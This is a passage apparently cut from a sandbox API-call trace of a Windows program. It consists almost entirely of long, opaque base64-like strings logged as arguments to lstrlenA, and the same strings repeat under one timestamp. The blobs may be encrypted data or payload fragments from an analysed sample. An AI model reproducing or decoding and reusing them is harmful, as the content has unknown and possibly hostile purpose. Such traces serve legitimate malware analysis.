FgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="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